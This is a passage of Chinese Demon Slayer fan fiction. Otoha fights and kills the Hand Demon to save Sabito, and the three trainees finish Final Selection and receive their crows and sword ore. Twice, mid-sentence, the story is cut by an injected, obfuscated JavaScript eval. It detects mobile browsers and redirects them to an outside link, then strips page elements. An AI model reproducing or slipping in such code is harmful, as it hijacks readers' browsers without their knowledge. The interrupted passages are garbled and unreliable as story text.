第五夜的时候恶鬼少了很多,音叶在林子里走了很久,才遇到一只实力很弱的鬼,将他斩杀后便没有再鬼踪。 她回到藏身地,锖兔也刚回来,身上带着血污,语气却松了些:“差不多了,再撑一夜,这一切就要结束了。” 音叶轻轻点头,心底却莫名升起一丝不安。 下一个黑夜如期而至,月色亮得刺眼,把地面照得惨白,风很轻,山林静得可怕。 这个寂静让音叶有些心慌,这里实在是太安静了,安静得像暴风雨前的窒息。 下一秒,远处传来急促的刀兵相撞声,乱得不成章法,还有一声嘶吼,音叶立刻意识到是锖兔有危险。 音叶的心脏骤然一紧,疯了一般朝着声音来源冲去。冲到近前,她浑身的血液都仿佛冻住了。 一只身形异常高大的恶鬼,矗立在林间,比她见过的任何一只都要庞大可怖。 它全身上下,密密麻麻长满了数不清的手臂,手臂扭曲蜷曲缠绕在头上,为他形成了天然的保护,只露出一双怨毒猩红的眼睛,死死盯着前方的人。 而前方的人,正是锖兔。 锖兔也受了伤,米白色的羽织外套上沾满了血,龟甲纹里衣也隐约带着血印。少年呼吸急促,胸口剧烈起伏,手中那把陪他斩鬼无数的日轮刀已经断成两半,只剩半截残刀,握在他颤抖的手里。 音叶的脑子传来一阵耳鸣,她脑海里一片空白。 那只手鬼动了,蔓延伸长的手臂齐齐挥舞着,带着毁天灭地的力道,朝锖兔狠狠砸去…… 她不顾一切地冲过去。 冰凉的雨丝落在脸上,很快变成绵密的细雨,打湿她的头发,模糊了她的双眼。 她答应过爷爷的,不会让他再失去任何一位孩子,她也不能接受自己在失去一位挚友。 “锖兔……!” 音叶嘶吼着,用尽全身力气,在那些手臂落下的前一秒,拦腰抱住锖兔,猛地往后一拽。 两人重重摔在泥泞的地上。 15. 手鬼 音叶抱着锖兔重重地摔在泥泞里。 后腰磕在凸起的树根上,钝痛感瞬间蔓延全身,可她半分不敢松开手臂,死死将人护在身下,直到头顶那片裹挟着腥腐气息的阴影没有立刻压下来,她才撑着手臂,勉强将锖兔扶起来。 锖兔衣服上全部都是血,音叶将他全身上下检查一遍,确定没有致命伤后松了一口气。 少年原本紧握刀柄的手此刻无力地垂着,日轮刀断口处粗糙而刺眼,半截残刀在雨幕里泛着冷白的光。 他喘着粗气,胸口剧烈起伏,每一次呼吸都带着胸腔的震动。原本锐利的眼眸里染满了疲惫与不甘,抬头看向眼前的恶鬼时,眼底的怒火几乎要烧穿恶鬼。 不远处的手鬼见到嘴的猎物被救走,暴突的眼珠猛地一瞪,原本扭曲蠕动的无数手臂瞬间僵住,紧接着,浑浊的眼球里翻涌出滔天的恼怒,那张被手臂半遮半掩的嘴咧开一个狰狞的弧度,发出低沉而可怖的嘶吼。 它身形异常高大,如同一只扭曲的怪物,身上密密麻麻长满了数不清的手臂。他死死盯着音叶,周身的戾气几乎要将一片冻住。 “又来了一个小鬼。” 它的声音又粗又哑,每一个字都带着腐臭的气息,在寂静的山林里回荡。 音叶将锖兔又往身后护住,握刀的手紧了紧,指节泛白。她能清晰地感受到身边人的颤抖。 锖兔向来好强,从狭雾山举起刀那一刻开始,就从未落后于音叶。如今断刀负伤,被一只囚禁在藤袭山多年的鬼逼到这般境地,他心里的怒火,估计要比身上的伤更甚。 “鳞泷的徒弟?”手鬼歪了歪头,无数只手臂跟着一起晃动,看起来诡异又恶心,“好……好得很……今天,我可以吃个饱了。” 音叶没有理会它的叫嚣,她半扶半搀着锖兔,走到旁边一块相对平整的青石旁,小心翼翼地让他靠稳,动作轻得生怕碰疼他身上的伤口。 汗水打湿了她的发梢,贴在脸颊上,狐狸面具下的眼眸清亮而坚定,没有半分惧意,只有沉到底的冷静。 “待着别动。”她低声说,语气是不容置疑的坚定。 锖兔一把抓住她的手腕,断刀从掌心滑落,砸在泥水里,他的声音沙哑又急切:“音叶……它很强,吃过很多人,你不是它的对手!” 这是锖兔第一次露出这样慌乱的神色,在狭雾山时,他永远是那个沉稳可靠、护着义勇和音叶的少年。可此刻,看着眼前这只杀了无数同门的手鬼,他却害怕音叶的生命止步于此。 音叶没有回头,只是轻轻挣开他的手,指尖微微一顿,像是在无声地安抚。她往前踏出一步,鞋底踩进泥泞里,日轮刀被她稳稳握在手中,泛着清冷的光。 天上开始飘起细雨,音叶毫无察觉般地继续往前走。 手鬼看着她一步步走近,发出刺耳的怪笑,笑声在雨夜里回荡,又粗又哑,像是有烂肉堵在喉咙里,听得人浑身不适。 “又是带着狐狸面具的小鬼……”它盯着音叶脸上的面具,语气里满是嘲讽,“真是感谢鳞泷那手艺啊,要不是他给你们这些小鬼发这种面具,我恐怕还不知道该找谁报仇呢……他不会以为戴上面具就真的可以消灾吧?真是可笑。” 它顿了顿,无数只手臂在空中挥舞,带起一阵腥风,雨水被搅得四散飞溅。 “你们这些人,戴着一样的狐狸面具,来一个死一个,他把我关在这里这么多年,却一次又一次把徒弟送进我的嘴里,失去了这么多徒弟……他还没学乖吗?” 音叶依旧沉默,她不想和这样没有意义的鬼说些废话,此刻心里只有一个念头,那就是一定要杀了它。 为真菰、健太,为所有死在这只鬼手里的师兄师姐,为现在躺在地上身受重伤的锖兔,还有……那个以杀鬼为目标将心爱的徒弟们送来参加选拔的爷爷。 想到这里,音叶要控制不住心中的怒火,她举起日轮刀,没有多余的动作,身形如斜雨轻落,脚尖点地,在泥泞里划出一道轻盈的弧线:“霖之呼吸——一之型·细雨归尘。” 刀锋轻掠,快得只剩一道银芒,如同细雨无声坠地,精准地削断了手鬼伸在最前的一条手臂。那只手臂落在雨里,瞬间化为灰色的粉尘,被雨水一冲,散得无影无踪。 手鬼低头看了一眼断口,非但没有半分痛意,反而露出更加狰狞的笑意。只见那断口处的肌肉以肉眼可见的速度疯狂蠕动愈合,不过眨眼间,一条新的手臂就重新长了出来,和之前一模一样。 “就这点本事?”它嗤笑一声,语气里满是不屑,“和之前那些小鬼一样,不堪一击。” 对面的鬼话音刚落,无数只手臂铺天盖地朝音叶涌来,密得看不见空隙,从四面八方缠绕过来,像一张巨大的网,要将她彻底困死在牢笼里。 音叶瞳孔微缩,往旁边急闪,侧身躲过两根横扫而来的手臂,同时使出剑术,又斩断一根。可这只鬼的手臂实在太多,斩断一根,立刻就有其他手臂补上来,恢复速度快得诡异,根本斩之不尽。 不过片刻,她的手臂就开始发麻,虎口被震得生疼,呼吸也渐渐急促起来。她心里清楚,这只鬼的实力和前两天斩杀的鬼们的实力完全不同,甚至可以说是远超。 它被鳞泷左近次囚禁在藤袭山多年,吃了无数前来参加最终选拔的剑士,吸收了太多人的血气,早已成了一只修为深厚的鬼,恢复力、力量、速度,都远非普通恶鬼能比。 它是最终选拔里最恐怖的梦魇。 又一根手臂带着劲风猛地抽来,音叶来不及闪躲,肩头被狠狠擦过,尖锐的指甲划破衣袍,在皮肤上留下一道深可见骨的伤口,鲜血瞬间涌了出来,混着雨水往下淌。 剧痛传来,她整个人踉跄着后退,脚下一滑,差点摔在泥水里。 “音叶!” 锖兔的声音从身后传来,带着撕心裂肺的焦急,他想撑着身子站起来,可浑身的伤口一用力就疼得钻心,只能死死攥着拳头,眼底满是无力。 音叶稳住身形,靠在树干上,胸口剧烈起伏,肺叶像被火灼烧一样疼。刚才的呼吸法用得太急,气息早已乱了,再加上肩头的伤口,每一次呼吸都牵扯着神经,疼得她额头冒出冷汗,被雨水一浇,冰凉刺骨。 手鬼看着她狼狈的模样,笑得更加愉悦,它没有急着进攻,反而慢悠悠地停下动作,手臂垂在身侧,像一个欣赏猎物的猎手,享受着猫捉老鼠的快感。 “累了?”它开口,语气里满是戏谑,“才刚开始呢,小鬼,我还没玩够呢……” 雨水落在它腐烂的皮肤上,顺着沟壑往下淌,它微微歪头,开始诉说那些尘封在藤袭山里的血腥过往。 “你知道吗,把我关在这里的人,就是鳞泷左近次。” 音叶的手指猛地一紧,握刀的手微微颤抖。 鳞泷左近次,抚养她长大的爷爷,那个总是戴着天狗面具、沉默寡言却温柔至极的老人。 “他是鬼杀队的柱,很强。”手鬼的声音变得阴森森的,带着刻骨的恨意,“我打不过他,所以他就把我关在这里,用紫藤花困住我,让我永远出不去,永远只能待在这座山里,不见天日。” “可他没想到吧?”它突然狂笑起来,无数只手臂跟着疯狂挥舞,“他的徒弟们,会一个接一个来参加最终选拔,一个个走进这座山,走到我的面前,主动送上门来!” “你闭嘴!” 音叶终于忍不住开口,声音带着压抑的颤抖,肩头的伤口还在流血,心里的怒火越烧越旺。 “我吃了好多……”手鬼根本不理会她的呵斥,继续用最残忍的话语刺激她,“全是戴着狐狸面具的小鬼,和你一样,都是鳞泷的徒弟,他们的反应大不相同,也有像你一样冲上来想杀我的,结果只是白白送命。” 它的视线死死钉在音叶的狐狸面具上,突然像是想起了什么,语气变得更加诡异。 “对了,几年前有一个……” 音叶的呼吸,骤然停了一拍,心脏像是被一只无形的手狠狠攥住,连疼痛都忘了。 “也是戴着这种面具,脸颊着,画着一朵朵小花。” 它伸出一根细细的手臂,轻轻点了点自己额头的位置,动作轻柔,却带着最残忍的恶意。 “那个穿着鲜花图案的和服的女孩子,虽然很矮小,没什么力气,但是她很敏捷,在我手里躲了好久好久,比很多男孩子都厉害。所以,当她听到我吃了多少鳞泷的徒弟时,那个女孩子哭着发了火呢……” 音叶整个人僵在原地,血液仿佛在这一刻彻底冻凝。 它在说真菰。 那个总是笑着喊她小音叶的师姐,温柔又坚强的存在。真菰的面具上,还有音叶亲手给她画上去的花,如今她也画了一模一样的花在自己的面具上。 “最后我还是抓到她了……所以,我扯断了她的手脚……”手鬼发出满足而残忍的笑,口水顺着嘴角往下淌,“很好吃……虽然没多少肉,但是很筋道,她的血很烫。” “你……!” 音叶的声音破碎,握刀的手控制不住地发抖,眼泪瞬间涌满了眼眶,被面具挡住,混着雨水往下淌。 “你认识她……?”手鬼故意拖长语调,一字一句,像刀子一样扎进她的心里,“戴着一样的小花面具,难道是师姐妹?” 不仅是师姐妹,还是她最亲的姐姐。是那个在她练刀摔倒时扶她起来的、在她生病会为了照顾她一夜不睡、是那个在最终选拔前,回头冲她笑,说等我回来的人。 ——可真菰没有回来。 这个好的一个女孩子,在比起如今的她还小的年纪,被眼前这只鬼,被这只丑陋残忍、沾满了同门鲜血的恶鬼,撕碎吞噬。 恨意像疯长的藤蔓,瞬间缠住她的心脏,勒得她喘不过气,痛苦、愤怒、悲伤、绝望,所有的情绪一起涌上来,冲垮了她所有的理智。 她的呼吸彻底乱了,霖之呼吸的节奏被打破,眼前只剩下手鬼狰狞的脸和真菰温柔的笑,两种画面交替出现,搅得她天旋地转。 “音叶!” 就在她快要被情绪吞噬的瞬间,锖兔的一声厉喝,像一根针狠狠刺破了她混乱的神智。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375036|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “冷静!它在故意激你……千万别上当!” 音叶猛地回神。 可已经晚了,一根粗壮的手臂带着劲风,瞬间伸到她的面前,直取她的脖颈。 她险之又险地后仰身体,脊背重重撞在身后的树干上,震得树梢的雨水哗哗落下,堪堪躲过这致命一击,可胸口的气息翻涌得更厉害,肺疼得像是要炸开。 “躲啊……继续躲啊,”手鬼戏谑地看着她,无数只手臂在空中挥舞,“再多躲一会儿,我最喜欢看你们这种小鬼……明明怕得要死却还要硬撑的样子。” 音叶咬紧牙关,嘴唇几乎要被她咬出血来。 她想稳住呼吸,可怒火与恨意在心里灼烧,真菰的样子在脑海里挥之不去,那只鬼的每一句话,都在反复撕扯她的伤口。 又一根手臂横扫而来,速度快得惊人。 她没能躲开,粗壮的手臂狠狠抽在她的肩头,巨大的力量将她整个人击飞出去,她像一片被狂风卷起的落叶,重重撞在一棵粗壮的树干上,然后摔落在泥水里。 剧痛席卷全身。 肩头的伤口被彻底撕裂,鲜血喷涌而出,混着泥水,染红了身下的土地。肋骨像是断了一样,每动一下都疼得钻心,四肢百骸都在叫嚣着疲惫,她撑着刀,试了好几次,才勉强半跪在地,头发散乱地贴在脸上,狐狸面具下的脸色苍白如纸。 手鬼就站在不远处,静静欣赏着她的狼狈,像在观赏一件有趣的玩物,眼底满是残忍的快意。 “愤怒,”它缓缓开口,声音里带着诱惑,“愤怒会让你们这种人变得更好吃,血液发烫,肉质也更香,我最喜欢吃被愤怒冲昏头脑的小鬼……” 音叶低着头,看着泥水里自己模糊的倒影,看着握刀的手不停颤抖,心里一片茫然。 她真的能杀了这只鬼吗?她真的能为真菰报仇吗? 就在这时,一个极其温柔的声音,轻轻落在她的耳边:“音叶。” 音叶的身体猛地一震。 是真菰。 “别听它的话。”真菰的声音软软的,像溪水在阳光下流淌。 “它就是想让你乱掉阵脚……这样它就赢了。” 音叶的眼泪瞬间落了下来,雨水落在她的脸上,温温的,像真菰的手,轻轻抚过她的眉眼。 “我在看着你,”那个声音说,“一直看着。” 音叶缓缓闭上眼,她深吸一口气再吸一口气,将所有的愤怒与悲伤,统统压进心底。 再睁开眼时,音叶的眼底已经没有了慌乱崩溃,只剩下一片沉静如水的坚定,狐狸面具下的眼眸,亮得像雨夜的星。 手鬼察觉到她的变化,微微一怔,暴突的眼珠里闪过一丝不解。 它不明白,这个刚才还濒临崩溃的小鬼,怎么突然就变了。 音叶没有说话,她缓缓站直身体,握刀的手不再颤抖,肩头的伤口还在疼,可她浑然不觉。雨水打湿她的衣袍,贴在身上,却让她更加清醒。 她看着眼前的手鬼和它那无数张牙舞爪的手臂,脚步轻轻挪动,在雨里调整着呼吸。 霖之呼吸的节奏,重新回到她的体内。 手鬼被她平静的眼神激怒,无数只手臂疯狂地朝她涌来,这一次,它用尽了全部的力量,要将这个胆敢无视它的小鬼彻底绞碎。 手臂密密麻麻,封住了她所有的退路,像一张巨大的牢笼,将她困在中央。 可音叶没有慌,她在等一个破绽的出现,手鬼的手臂太多,挥舞得太急,总有一瞬间,会露出本体的空隙。 就是现在——当所有手臂疯狂收拢的刹那,手鬼那颗硕大的头颅,毫无防备地暴露在手臂的缝隙里,眉心的位置,清晰可见。 音叶的眼神一厉,没有多余的招式,只有最决绝、最精准的一刺,日轮刀带着雨丝,划破雨幕,直直刺向手鬼的眉心:“霖之呼吸——六之型·水镜映。” 手鬼的眼睛骤然瞪大,里面满是不敢置信:“什么……!” 刀锋刺入,从眉心贯穿头颅,砍过脖子,没有丝毫阻碍。 手鬼瞬间僵住,无数只挥舞的手臂停在半空,再也不动分毫。它低头看着插在自己眉心的刀,看着眼前这个瘦小却无比坚定的少女,浑浊的眼球里,满是震惊与不甘。 雨水顺着刀身滴落,落在音叶的手背上,像是某个人的泪水。 “死在你手里的人,他们都在看着我,我不会让你得逞的。” 音叶轻声开口,她的目光平静,却带着千钧之力。 她缓缓抽回日轮刀。 刀锋抽出的瞬间,手鬼的身体开始崩解。腐烂的皮肤一点点化为灰色的粉尘,被冰冷的雨水冲刷,消失在藤袭山的黑夜里,再也不留一丝痕迹。 最后一丝残响散在风雨里:“哥哥……陪我玩……” 灰烬消散。 音叶再也撑不住,半跪在地,握着刀,一动不动。肩头的伤口还在流血,浑身的疼痛席卷而来。 远处,天边渐渐泛起一丝微光,七天的最终选拔,即将迎来尽头。 16. 第七日 当第七天的太阳光穿透层层叠叠的树叶落下,在地上形成小小的阴影,音叶正蹲在枯草丛中,手里拿着鳞泷左近次准备的药物给锖兔做最后的急救包扎。 少年腰侧的伤口深得骇人,暗红的血源源不断地往外涌,将白色布条瞬间浸透。音叶咬着牙,用尽全力按住伤口止血,指尖沾满温热的血,动作却稳得没有一丝颤抖。 她一圈又一圈紧紧缠绕,尽量压下渗血的速度,锖兔靠在树干上,唇色惨白,额角布满冷汗,却自始至终咬着牙一声不吭,只伸手轻轻按了按音叶的手腕,笑着安慰她自己没事。 包扎完毕,音叶撑着树干站起身,伸手扶住锖兔的胳膊。他几乎将全部重量都倚在她肩头,每挪动一步都牵扯着浑身伤口,粗重的呼吸混着痛楚的闷哼。 “还能走吗?”音叶问他。 “能。”锖兔的回答干涩沙哑,仿佛再多说一个字就要耗尽力气。 得益于异于常人的体质,音叶惊人的伤口愈合速度让她在这一战中取得了胜利。左肩被恶鬼重击撕裂的伤口在经过简单处理后已经止住,说不定此刻伤口边缘的皮肉正在悄悄愈合呢。 音叶将锖兔的头靠在她没有受伤的肩膀上,右手拽着他的身体,努力将少年撑起。 她半句没提自己的伤,只是悄悄沉下肩,让锖兔靠得更安稳些,指尖死死攥着他的衣袖,一步一步,两个人走得坚定而缓慢。 两人互相撑着彼此,有些踉跄,但好歹两个人都在努力往前走,向着山脚的方向挪去。 “快到了。”音叶望着前方渐亮的林隙,轻声说。 锖兔没有力气答话,只轻轻点了下头,睫毛颤了颤,掩去眼底的疲惫。 又走了一段时间,馥郁的紫藤花香漫了过来,淡紫色的花串从枝桠间垂落,缠缠绕绕探进来,像一片温柔的紫霞,挡开了山林里的阴冷。 终于到山脚下了。 两人踏出黑暗的那一刹那,铺天盖地的阳光倾泻而下,暖得晃眼。 山脚下已经聚满了人,正是当初一同踏入试炼的少年们,音叶粗略地看了一眼人数,似乎与选拔前没有太大的变化。他们站在神社大门下,却个个狼狈不堪,衣服已经不成样子,脸上也糊着血污与泥垢,有些人甚至连眉眼都模糊不清。身着黑衣的隐在人群中穿梭,脚步匆匆,为伤者包扎、递上水粮,一片兵荒马乱。 音叶半扶半搀着锖兔,一步步走下山坡。 …… 义勇在第七日天刚破晓时,就被音叶拜托的少年扶着走出了山林。 脸上的伤口被隐精心处理过,干净的绷带缠在脸颊,隐说幸亏急救做得及时,静养几日便能痊愈。可义勇半句都没听进去,他沉默地站在人群最边缘,脊背绷得笔直,一双清冽的蓝色眼眸死死锁住不远处的山林,连眨眼都舍不得。 陆续有人从山里走出来,有些受了重伤,有些没有,没受重伤的人搀扶着受了重伤的人从山林中走出来,出来的身影越来越多,却依然没有看见他最想要看到的那两人的身影。 一名身着黑衣的领头隐踏上前,站在高处的石块上,主持大局:“欢迎回来。恭喜各位,能平安归来就再好不过了,首先我们将队服发给各位,我们将先测量身体的尺寸,然后刻上阶级,阶级总共有十阶,甲、乙、丙、丁、戊、己、庚、辛、壬、癸,现在各位都是最下届的癸。” 他顿了顿,眼神扫过下面的剑士们,声音依旧平缓:“今天各位可以挑选造刀用的玉钢,但直到刀制成为止要花上十到十五天。在那之前,” 这位穿着黑衣服的隐拍了拍手掌,发出叫声的鎹鸦分别飞向各自的主人。 一只黑羽鎹鸦扑棱着羽翼,径直落在他的肩头,漆黑的羽毛泛着哑光,爪子稳稳扣住布料,眼周的褶皱皱起,发出苍老沙哑的声音:“我叫宽三郎。” 义勇愣了愣,指尖微顿,只是点点头向鎹鸦示意,却没分半点心神去理会这只新认的鎹鸦。毕竟他此刻的心情还在挂念着没有走出来的伙伴。义勇的目光依旧死死黏在那片幽深的山林入口,分毫未移。 站在最高处的隐继续解释道:“从现在开始鎹鸦将会跟随各位,鎹鸦是主要用于联络的乌鸦。那么,就请各位来到这边挑选玉钢吧。”① 人群顿时骚动起来,三三两两朝着前侧刚刚掀开红布的桌子聚拢,桌子上摆放着大小、形态各不一的石头,大概就是隐口中的玉钢。 “喂,富冈!选日轮刀原料了,你不过来吗?”村田的呼喊从身后传来,义勇却像是没听见一般。 心脏像是被一只无形的手紧紧攥住,越收越紧,闷得喘不过气。 音叶和锖兔她们两个人呢,怎么会没出来呢? 他们三人一同进山,说好分头斩鬼、尽快汇合,他受了重伤,无可奈何地被人照料,让两个挚友上前杀鬼。可如今所有人都出来了,唯独少了音叶和锖兔。 藤袭山的试炼本就凶险,满山恶鬼环伺,厮杀不断。锖兔向来是冲在最前的,与恶鬼交战的次数不在少数,而音叶一人在深山之中,身边可能还没有锖兔的陪伴。哪怕在那里面多待一分钟,这两个人都可能会有生命危险。 恐惧与自责如潮水般将他淹没。 如果当时没有走散,如果他没有受伤,如果他能够再强大一点,是不是一切都会不一样呢? 滚烫的水汽不受控制地漫上眼眶,涩得生疼,义勇拼命忍住鼻头带来的酸涩。就在他几乎要撑不住的那一刻,视线里终于出现了那两道身影。 紫藤花蔓中,两道人影缓缓走出,少女用肩膀死死撑着少年,两个人步履蹒跚,都不走快,却没有放弃,依然往前走着,一步都没有松懈。 阳光从他们身后照来,裹着他们,镀上一层柔和的金边,像从黑暗里走来的光。 义勇的大脑空白了一秒。 下一秒,他拔腿狂奔,全然不顾脸上的伤口被扯得剧痛,声音破了音,带着哭腔喊:“音叶……锖兔……” 他从未跑得如此快,风在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375037|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耳边呼啸,恐惧、焦灼、自责,所有的情绪在看见两人的瞬间,全都化作汹涌的泪水。 冲到他们面前,他猛地停住,再也克制不住,伸手将两人紧紧抱在怀里。力道大得像是要将他们揉进骨血里,生怕一松手,眼前的人就会消失。 “你们……”他的声音哽咽得不成样子,“你们怎么才出来……我以为……我以为……” 话没说完,眼泪就决了堤,滚烫的泪水砸在他们的肩头,止不住地流。他把脸埋在两人之间,像个迷路后终于找到同伴的孩子,压抑许久的情绪彻底爆发。 音叶被他撞得往后一仰,左肩的伤口被狠狠挤压,只传来一阵钝痛,也不知道伤口有没有再次裂开,她倒抽一口冷气,却没有推开他,只抬起右手,轻轻拍着他的背,一下又一下,温柔得不像话。 锖兔被抱得浑身伤口剧痛,眉头拧成一团,连呼吸都疼,半晌才无奈地吐出一个字:“疼。” 义勇的哭声顿了顿,才后知后觉地松了点力气,却依旧不肯放开。他抬起头,泪眼朦胧地看着两人,眼眶通红,鼻尖泛着红,睫毛上挂着泪珠,狼狈又真切。 “我以为你们再也出不来了。”他哑着嗓子,终于说出了心底的恐惧。 音叶看着他这般模样,心底最软的地方被狠狠触动,轻声安抚:“别怕,我们还活着。” 话音落下,义勇的眼泪又涌了出来,带着劫后余生的庆幸,泪水无声滑落,他却浑然不觉。 锖兔看着他哭个不停,无奈地叹了口气:“好了,我们没事了,别哭了。” 义勇不听,依旧埋着头,贪恋着这份失而复得的温暖。 一旁的隐瞥见锖兔惨白的脸色和渗血的伤口,脸色骤变,立刻高声呼喊同伴,几人快步上前,小心翼翼地将锖兔从音叶肩上扶下,安置在地上紧急处理伤口。 失去了锖兔的重量,音叶左肩的钝痛瞬间消散大半,伤口已经止血,还有些愈合的趋势。她下意识抬手按了按肩头,衣服下的皮肉已经紧实了不少。 另一名隐立刻上前,轻轻掀开她的衣领,看清伤口后不由得一愣。明明是重击造成的撕裂伤,如今竟以奇迹般地止血,也并不如表面上看起来那么重。 她立刻取出特制药膏,语气带着几分讶异:“你这体质倒是特殊,明明衣服上还有渗出来的血,伤口也看着吓人,但已经止住血了。给你涂上这药,估计用不了半天就能收口结痂。” 音叶安静坐着,任由隐为自己上药包扎,目光始终落在锖兔身上。药膏清凉,一敷上便加速了伤口的自愈,痛感以肉眼可见的速度消退。 义勇站在两人中间,眼眶依旧通红,寸步不离。他看着锖兔深可见骨的伤,又看着音叶被快速包扎的左肩,心底的愧疚翻涌,却只能死死守在一旁。 不远处的少年们还在围着制作日轮刀的玉钢材料叽叽喳喳,尽管个个蓬头垢面,脸上却洋溢着活力。 音叶坐在地上,望着身边相依的两人,心底一片安稳。 17. 日轮刀 一只鎹鸦从天空中翩翩飞来。 它全身上下的羽毛都是黑色的,羽翼舒展开才露出翅尖藏着的几缕深灰的飞羽。鎹鸦在音叶头顶轻盈盘旋一周,最终稳稳落在她未受伤的右肩,绒羽蹭过她的脖颈,软乎乎的。 “你好呀。”清脆的少女嗓音响起,带着几分灵动的雀跃。 音叶微微偏过头,望向肩头的小生灵。它圆溜溜的眼珠乌黑发亮,正歪着小脑袋好奇地打量她,模样乖巧极了。心底漫开一丝柔软的暖意,就连这几天与恶鬼苦战的疲惫仿佛都被这小小的暖意抚平了。 “你就是鳞泷音叶吧?”鎹鸦晃了晃脑袋,语气轻快,“我叫悠子,从今天起,就是你的鎹鸦啦。” 音叶微微一怔,轻声重复:“悠子?” “对!”悠子在她肩上蹦跳两下,用毛茸茸的脑袋亲昵地蹭了蹭她的脸颊,软声道,“好听吧?这是我自己取的名字哦。” 温热的绒毛蹭得脸颊发痒,音叶忍不住弯起眼角,浅浅笑了出来。 而另一旁,义勇的手臂上正静静矗立着一只年迈的鎹鸦。它的羽毛并不如悠子的颜色深,因为年纪有些大失去了光泽,眼周皱着几道深深的纹路,正闭着眼打盹,一副慵懒的模样。 “宽三郎。”义勇忽然开口,声音低沉,是在主动向音叶介绍自己的鎹鸦。 音叶抬眸看向他。 “它叫宽三郎。”义勇又重复了一遍,语气里藏着一丝不易察觉的认真。 鎹鸦闻言,慢悠悠睁开一只眼,淡漠地瞥了义勇一下,又缓缓阖上眼,继续打盹,倨傲又慵懒。 锖兔的鎹鸦还未现身,他靠坐在树下,经过细致处理,脸色比方才好了些许,却依旧不能随便乱动,可能会牵扯到伤口。几名隐蹲在他身旁,反复检查着伤口,低声叮嘱他回去后必须静心休养。 “你的鎹鸦估计还在飞来的路上呢。”音叶看向锖兔,语气里带着一丝劫后余生的后怕。 锖兔轻轻点头,眸底染着淡然的笃定:“这个鎹鸦每个人都有的,我的也会来的。” 话音刚落,又一道黑影破空而来。 这只鎹鸦身形比悠子大上一圈,漆黑的羽毛泛着光泽,看起来十分紧实,它的双目炯炯有神,透着一股沉稳的锐气。它径直落在锖兔肩头,不言不语,只是冷静地四处打量,周身气场都透着沉默。 锖兔抬眼看向它,轻声问:“你叫什么?” 鎹鸦沉默片刻,声音冷硬干脆:“我没有名字,你帮我取一个就行。” 锖兔先是一怔,随即低低笑了出来,眉眼间的疲惫都淡了几分。 “行,”他应道,“回头认真给你想一个。” 伤口处理完毕,三个人彼此搀扶着一同前往挑选日轮刀的原材料。 空地边缘的桌子上摆着一长排玉钢,大小不一的石料在阳光下泛着温润的光泽,每一块看起来似乎都暗藏玄机。 一名隐立在一旁,看着刚刚通过选拔的剑士们挑选玉钢,笑着嘱咐道:“这个各位可以随便选,选择自己最喜欢或最合得来的一个玉钢。” 锖兔在义勇的搀扶下缓步走上前,目光缓缓扫过一众玉钢,最终停在一块深灰色的玉钢前。石身布着细细的水波纹路,看起来像被山间清泉长年冲刷而成,他伸手轻轻抚过冰凉的石面,指尖传来踏实的触感,随即稳稳拿起:“这个。” 义勇走得很慢,脚步轻缓,一块一块细细打量,像是在寻找某种心照不宣的契合。最终,他停在一块不起眼的黑色玉钢前,没有绚烂的光泽,没有特别的纹路,普通得极易被忽略,可他却定定站在原地,再也挪不开脚步。 “就这个吧。”义勇拿起玉钢轻声说道。 音叶走到最边缘,一眼便望见了那块泛着青光的玉钢。她伸出手,轻轻抚摸自己选中的玉钢,摸上去沁凉温润,一股莫名的亲切感涌上心头。 她轻轻握住玉钢,将它递给前面的隐:“这个。” 选完玉钢折返,音叶忽然停下脚步,轻声唤住义勇:“义勇。” 义勇回头看向她,像大海一样深邃的眼睛里带着一丝疑惑。 “将我们拖住的那只鬼,”音叶的声音轻了下来,藏着一丝压抑的沉重,“是一只实力很强大的鬼,因为他,我和锖兔都受了很严重的伤。” 义勇的眼神骤然一沉,指尖微微攥紧,却没有说话,只是静静听着。 “它说,它隐藏实力,只是为了吃掉爷爷送来的剑士们,”音叶垂眸,睫毛掩去眼底的酸涩,“爷爷将他抚养长大的孩子们送过来,却都被这只恶鬼吃掉了。” 义勇定定看着她,心口像是被什么堵住,闷得发疼。 “我们把它斩杀了。”音叶抬眼,语气里带着一丝释然,也藏着对逝者的告慰。 义勇沉默良久,喉结微动,轻轻点了点头,只吐出一个字:“好。” 锖兔从身后缓步走来,恰好听见两人的对话,苍白的脸上覆上一层凝重。他走到两人身侧,声音低沉而坚定:“这件事不能告诉师父。” 音叶抬眸看向他。 “他会非常难过的,自己关在里面的鬼,”锖兔望着狭雾山的方向,眸底满是心疼,“成了不断吃掉他亲手抚养、教导长大的孩子们,不能告诉他,这太残忍了。” 义勇站在一旁,重重点头,语气笃定:“锖兔说得没错,这件事我们需要保密。” 三个少年心照不宣,将这份沉重与悲伤悄悄藏在心底,只想护着那位温柔的师父,不让他再添半分伤痛。 他们在山脚下的村落歇息了一晚,印着紫藤花图案房子的主人收留了他们,并且准备了丰富的餐食。 次日清晨,三人启程返回狭雾山。归途比来时更慢,锖兔伤势还很严重,需要人搀扶着才能走,而且走不快。 音叶的肩膀虽然有在愈合,却仍带着钝痛,只有义勇的状态稍微好一点,却始终走在两人身侧,并没有对两个人出声催促。 每走几段路,这位依旧沉默的少年就会停下来,选择让两个人休息一会再走。 整整走了一天,等到太阳懒洋洋地坠入地面,他们终于来到了半山腰处那座温暖的小屋。 鳞泷左近次正站在门口。 他静静地站着原地,一动不动,目光遥遥地望向不远处的小路,夕阳的金辉落在他身上,将他的轮廓勾勒成温柔的暖红色,鬓边的白发都泛着柔光。 